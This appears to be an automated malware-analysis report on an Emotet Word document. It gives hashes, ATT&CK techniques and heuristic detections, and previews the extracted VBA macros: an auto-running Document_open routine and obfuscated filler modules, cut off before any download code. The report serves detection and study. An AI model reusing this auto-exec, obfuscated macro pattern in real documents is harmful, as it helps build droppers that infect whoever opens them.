Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9e252d686f661b3c…

MALICIOUS

Office (OLE)

266.1 KB Created: 2020-02-06 13:49:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 2023f0f62f36ac22d12d10bd593eda44 SHA-1: 093f42eb9ead45a763bb8aceab854c0b8cbf8299 SHA-256: 9e252d686f661b3c6c472f49fd626d7624f307ce113163e8cdcb0eb3febdbd64
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The heuristics strongly suggest the execution of a command stager that likely downloads and executes a second-stage payload. ClamAV detection further confirms its malicious nature as Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7578627-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7578627-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37832 bytes
SHA-256: 8df57e53754f0061481b685d4fa8c3895dcd052b193bcf2e5b238e47b8593d19
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Mkompmfcqklni"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Ntriirrfyomhj.Gycadzrkqb
End Sub

Attribute VB_Name = "Notczuksbacx"
Attribute VB_Base = "0{FCCFD34F-30A8-4B08-8801-C996B49A8993}{93ACC744-F5B3-4160-8817-A871E421AA82}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Zyjyjpdexxgff"
Attribute VB_Base = "0{B206944C-7CB4-49E5-8DB3-25EC57455D70}{452E9C76-CCD3-482A-AD8D-B9D0EB4F61B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ldgpxtxrel()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Hdlazzvffqluz"
Attribute VB_Base = "0{F91DDC62-D342-4C5F-B671-77986FD60811}{BFC111CC-C207-4707-A6A9-6A0B77DA07C7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Vruybwiyii()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Dbgfnvtwam"
Attribute VB_Base = "0{C34253D1-FF0F-4644-9685-988C82AB42AC}{2C25E103-DC73-40CD-926F-B36A45153AA7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Fjfdvslpg()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ajmmzyed"
Attribute VB_Base = "0{2F6FFAD5-0F94-4F7C-9631-143F870D7A6A}{3187BDFE-4A6F-4939-B990-D484E9EE9CAA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Qsdzkxzgvl()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Nsrrfcpxbcwz"
Attribute VB_Base = "0{202209B5-8752-48F9-B903-C7DB6AD3601C}{7EE819CD-E6C6-4BE4-B858-60BB00D51BFD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Aitxvjeyorbel()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ilwtfvtvit"
Attribute VB_Base = "0{54CC7CD9-8E57-4AD3-B4C3-034BD20D0C8D}{3B0B244C-BFA2-4BE7-822A-E0FCF3745FFF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Vhnvetoxqnx()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Rpdaqarvksrzf"
Attribute VB_Base = "0{FE516384-B87F-40B2-9290-B1A47D62CCA6}{E70073DE-CEBC-49F7-AD42-FF561150E4A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Gnletviq()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Xkwxvvnhtnfp"
Attribute VB_Base = "0{3C6EF3D4-B223-
... (truncated)